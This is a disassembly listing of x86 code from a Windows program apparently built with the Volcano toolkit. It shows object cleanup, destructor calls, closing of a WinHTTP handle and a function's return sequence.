mov byte [ebp - 4], 0x74
lea eax, [ebp - 0x50]
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x50], vtable.CVolMem.0
mov byte [ebp - 4], 0x76
mov ecx, dword [ebp - 0x44]
test ecx, ecx
je 0x405a6c
mov eax, dword [ebp - 0x50]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CWString.virtual_12
jne 0x405a67
mov ecx, 0x431e58
call fcn.0041ab40
jmp 0x405a6c
lea ecx, [ebp - 0x50]
call eax
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov byte [ebp - 4], 0x74
mov dword [ebp - 0x50], vtable.CVolObject.0
mov byte [ebp - 4], 0x33
mov dword [ebp - 0x60], vtable.CVolObject.0
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x414]
call fcn.00402c70
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x440]
call fcn.00402c70
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x3bc]
call fcn.00402c70
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x3e8]
call fcn.00402c70
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x1a0]
call fcn.00402c70
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x1cc]
call fcn.00402c70
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x11c]
call fcn.00402c70
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0x4c4]
call fcn.00402c70
mov byte [ebp - 4], 0x81
lea eax, [ebp - 0x4f8]
mov dword [ebp - 0x1ec], eax
mov byte [ebp - 4], 0x84
lea ecx, [ebp - 0x4ec]
call fcn.00402d20
mov byte [ebp - 4], 0x81
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x80
lea ecx, [ebp - 0x524]
call fcn.00402c70
mov byte [ebp - 4], 0x7f
lea ecx, [ebp - 0x550]
call fcn.00402c70
mov byte [ebp - 4], 0x7e
lea eax, [ebp - 0x56c]
mov dword [ebp - 0x1f0], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x87
mov ecx, dword [ebp - 0x560]
test ecx, ecx
je 0x405ba7
mov eax, dword [ebp - 0x56c]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CWString.virtual_12
jne 0x405b9f
mov ecx, 0x431e58
call fcn.0041ab40
jmp 0x405ba7
lea ecx, [ebp - 0x56c]
call eax
mov dword [ebp - 0x560], 0
mov dword [ebp - 0x558], 0
mov dword [ebp - 0x55c], 0
mov byte [ebp - 4], 0x7e
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x24
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 4
mov dword [ebp - method.CWString.virtual_0], vtable.rg_volcano_YangWang::rg_WangLaoFangWenLei_n.0
mov byte [ebp - 4], 0x8c
or dword [ebp - 0x630], 2
mov eax, dword [ebp - 0x598]
test eax, eax
je 0x405c0b
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov byte [ebp - 4], 0x8b
lea ecx, [ebp - 0x5cc]
call fcn.00402c70
mov byte [ebp - 4], 0x8a
lea ecx, [ebp - 0x5f8]
call fcn.00402c70
mov byte [ebp - 4], 0x89
lea ecx, [ebp - 0x628]
call fcn.00402c70
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x10]
mov eax, dword [0x431f84]
inc ecx
shr eax, 2
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov dword [ebp - 0x10], ecx
cmp ecx, eax
jl 0x405000
mov byte [ebp - 4], 2
mov dword [ebp - 0xc4], vtable.CVolObject.0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x354]
call fcn.00402c70
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x380]
call fcn.00402c70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x148]
call fcn.00402c70
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret